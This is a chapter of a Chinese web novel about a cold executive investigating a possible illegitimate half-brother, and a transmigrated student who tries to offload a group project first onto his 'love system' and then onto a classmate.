“十几年前,政/府有意开发城郊,想从海外招商引资,于是出资修路,要给这里的住户搬迁。”
齐绥川言简意赅:“但这里的住户打定主意讹上一笔,加盖房子,修葺围墙。”
“还有人把祖坟挪了地方,挪到公路的必经之处,和政/府工作人员起冲突,见了血。最后赔了一大笔钱,路线也修改。”
纪明悦若有所思。
她听说过这件事,但那已经是很久以前发生的了,原本的住户老的老死的死,她也就没多在意。
齐绥川的意思是……
“你有没有考虑过,如果再遇见拒不配合的人,该怎么办?”
纪明悦有些尴尬地盯着自己的企划案看。
这部分她的确有些理想化。
好在齐绥川没有因为这个小插曲为难她,只是把东西递交给她,表示:“不过其他方面比较完善,可以酌情考虑。”
纪明悦眼前一亮:“您的意思是……”
齐绥川微微一笑。
他的笑很不明显,笑意不达眼底。但对于他而言,已经算是能给出的最友善的态度。
“非常期望在下一轮的竞标中看见更完善的企划案。”
纪明悦微笑,也不由得在心底吐槽他滴水不漏。
自己今天来,牵了很多线,最大程度上对齐氏表露了善意,也得到了和齐绥川面谈的机会。
齐绥川听也听了,夸也夸了,偏偏说的都是似是而非的话。
纪明悦觉得齐绥川像某种冷血动物。
伺机而动,盘踞在暗处,机会合适就猛然出击,不给猎物半分挣扎的机会。
怪不得齐夫人非常忧心齐绥川的终身大事。
怀着这样的想法,纪明悦微笑告别。
“叩叩。”
关上的门又被敲响,动作有些急躁。
齐绥川知道是谁,并未抬头:“进。”
陈煦大喇喇地推门进来,手里拿着一叠照片:“看看我拿到了什么!”
齐绥川瞥他一眼,眼神冷淡。
陈煦并没有被他的冷漠劝退,而是没皮没脸地凑到办公桌前。
“纪明悦她二叔,又倒腾了点小生意。”
陈煦咬字:“小动作不停,他儿子也是。”
他把照片一股脑摊开。
齐绥川淡淡扫过,略过司空见惯的交易画面,挑出来最后一张照片。
是一张监控截图。
画面里是类似于俱乐部的场景,摄像头下,纪凯冲着对面穿着黑衬衫的高大男生挑衅,而旁边零零散散几个人,或站或坐。
齐绥川扫了一眼照片,目光落在角落,一张有些熟悉的面孔。
监控截图有些模糊,隐约能看出是一张雪白秀美的脸。
他微微拧眉。
但陈煦并没有把手收回去,而是拎起那张照片。
他问齐绥川:“你不觉得这个人长得眼熟吗?”
齐绥川冷眼看他。
陈煦恨铁不成钢:“这个人长得像齐叔!非常像!”
“这个人不会是齐叔在外面的私生子吧?!”
21. 拜金男友21
陈煦说的是纪凯对面的人。
“看着应该二十来岁,那就是年轻时候犯下的错。”他急得团团转:“齐叔不能背叛我姑妈吧?”
齐绥川不置可否。
不同于陈煦的焦急,他轻轻一瞥摊在桌上的照片:“只有这一张?”
陈煦扒拉自己的手机。
“喏。”
陈煦展示给齐绥川:“正脸。”
齐绥川沉吟。
监控视频不过十几秒,穿着黑衬衫高大男生孤零零地走出来,随手解开一粒扣子,衬衣下摆轻轻晃荡。
似乎是察觉到监控,他兀地抬头,冷冷地透过画面和齐绥川对视。
“像不像?”
陈煦恨铁不成钢。
他觉得自己接下来的话不太体面,压低声音:“活脱脱就是齐叔年轻时候的翻版啊!”
齐绥川垂眼。
照片里的人约莫跟他同龄,眉眼冷峭,线条流畅利落。凤眼内敛狭长,鼻如悬胆,薄唇,绷着冷淡的弧度,从头到尾都没有勾出一个小小的弧度。
的确很像他父亲年轻的时候。
齐绥川沉思片刻:“这个人,你调查过吗?”
陈煦:“还没。”
在齐绥川看不出情绪的眼神里,他嚷嚷起来:“喂,你能不能给点反应?我看见他的第一眼就跑过来找你商量!”
齐绥川并没有如他所想般变脸。
他仍旧是那副波澜不惊的样子,像是在和投资商会面或者考察项目,漆黑深邃的眼睛里没有一丝波动。
陈煦拿这个表弟没有办法。
“好好好!”他无奈:“我现在就去查查他从哪来,到底是什么人!”
齐绥川终于应了一声。
“不急。”
他伸手指了指照片一角:“这是……程誓?”
陈煦“咦”了一声,拿到跟前仔细看:“好像还真是?”
他说出心底的疑惑:“他怎么在这?”
齐绥川淡淡:“我也想知道。”
陈煦第一眼竟然没注意到。
他挠头:“怎么感觉他好像是带着人来的。”
那一叠监控照片里,程誓离开座位,姿态十分亲密地和一个男生站在一起。
比他清瘦不少的男生站在他后面,乌发软垂,露出小半张白生生的脸。
陈煦:“我去问问这是谁。”
“不用。”
齐绥川指节轻叩桌面,淡淡念出雪枕的名字:“他是唐贾的继子。”
这回轮到陈煦沉默了。
他从记忆里搜刮,终于想起来唐贾在发妻死后的确和一个带着孩子的女人结了婚。
那个孩子现在这么大了?还和程誓认识?
陈煦心中又有些疑惑。
他当然知道程誓,这也是个不着调的主,没个定性,脾气也说不上好。
这么个纨绔子弟,怎么照片里看着态度这么好?
而且。
陈煦不着痕迹地观察自己的表弟。
齐绥川又是为什么能一眼认出他的身份?
齐绥川并没有表态。
他只是敲了敲键盘,十几分钟后,就有脚步匆匆的助理敲开门,送来整理好的资料。
陈煦在一旁干瞪眼。
“你早说不就好了……”
陈煦努努嘴:“怪我忘了你这里效率这么高,自乱阵脚。”
齐绥川没搭腔,只是把资料递给陈煦。
陈煦翻看资料。
“是A大的?”他嘶一声:“跟你一个专业,学弟啊。”
陈煦若有所思:“福利院长大的,拿过高考状元,到处兼职……”
助理整理的资料十分全面,囊括齐鹜从出福利院开始的所有经历。
甚至还有一张证件照。
不知道是什么时候拍摄的,眉眼稍显青涩的黑发少年看着镜头,表情是如出一辙的冷淡,让人无法窥探他的任何情绪。
父母双亡,福利院长大,成绩优异,又吃苦耐劳。
怎么看也是一份十分优异的履历。
甚至和纪凯起的冲突,都是因为看不惯对方的恶劣行径。
如果这人的长相和齐叔没有相似之处,那么陈煦也会很乐意培养他为自己做事。
偏偏……
他长得非常像齐叔,连神态也像,陈煦第一眼看见,就疑心这人是齐叔出/轨的产物。
陈煦知道身边的长辈有几个都有养在外面的私生子女。
人前,夫妻感情和睦,人后,就是各玩各的,不闹到旁人面前就是很在意配偶了。
他对私生子女也没什么突出的喜恶,毕竟出身无法选择,但他们的存在也同样对原配及子女存在伤害。
陈煦不知道齐绥川心里会怎么想。
他没了方才咋咋呼呼的劲,揣摩着办公桌后男人的表情:“那你打算?”
“等。”
齐绥川没什么表情,吐出一个字。
“不论他知情还是不知情,总有一天会找过来的。”
陈煦点头。
他本来想问担不担心私生子会分家产,转念一想齐绥川怎么可能怕这个。
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齐叔也不可能为了私生子削夺他的职权。
“这一届好像是顾教授在带,”陈煦忽然又想到什么:“入学就有一个企业实习。”
他对上齐绥川淡漠的眼神:“也许……”
***
A大教室。
这节课是大课,在阶梯教室,雪枕没入人群里找了个角落坐下,力求不被任何人注意到。
前面坐的男生很高,刚好挡住他,雪枕就趴下来,百无聊赖地翻着课本。
学习、痛苦。
上课、痛苦。
尤其是听见讲桌上头发花白的老教授提到这节课需要完成一个小组作业,实地考察采访A市当地知名企业的时候。
雪枕闭上眼睛。
“886,”他在半空中掐了一把,把肥鸟抓下来:“你会不会?”
886疑惑:“宿主在说什么?”
“我说,”雪枕压低声音:“难道你就不能帮我联系组员,沟通项目,实地考察公司,然后交一份完美的策划案给我吗?”
挥舞翅膀的886停滞一秒。
“滴滴滴……”系统报错音响起,断断续续:“不符合检索要求……”
雪枕:。
他拎起886抖了抖。
小组作业恐怖如斯。
“886是恋爱系统,”886非常抱歉的绕着宿主转来转去:“主神空间没有给886这个数据……”
雪枕:“算了。”
他蔫蔫地趴回去,扒拉班级群,思考自己什么时候能等到落单的同学。
谁叫他不认识几个人呢。
手指下滑,雪枕却看见一个熟悉的名字。
齐鹜。
哦,他差点忘了,龙傲天和他一个专业来着。
雪枕开始思索。
毫无疑问龙傲天的能力很强,那么如果他奴役龙傲天和自己一组,然后把活都扔给他干……
那么他一定会是一个快乐的任务者。
想到龙傲天兢兢业业干活,而他愉快摸鱼,雪枕的心情都变好了。
至于龙傲天会拒绝……?
不存在的!
说干就干。
雪枕开始寻找龙傲天的身影。
忽然,他的目光停留在前排。
背影看起来很眼熟。
周围坐着的同学在讨论安排组员,他却一动不动。
天赐良机!
雪枕立刻戳戳龙傲天的后背。
在龙傲天转过头之后,他微微昂起下巴,颐指气使。
“喂,你和我一组。”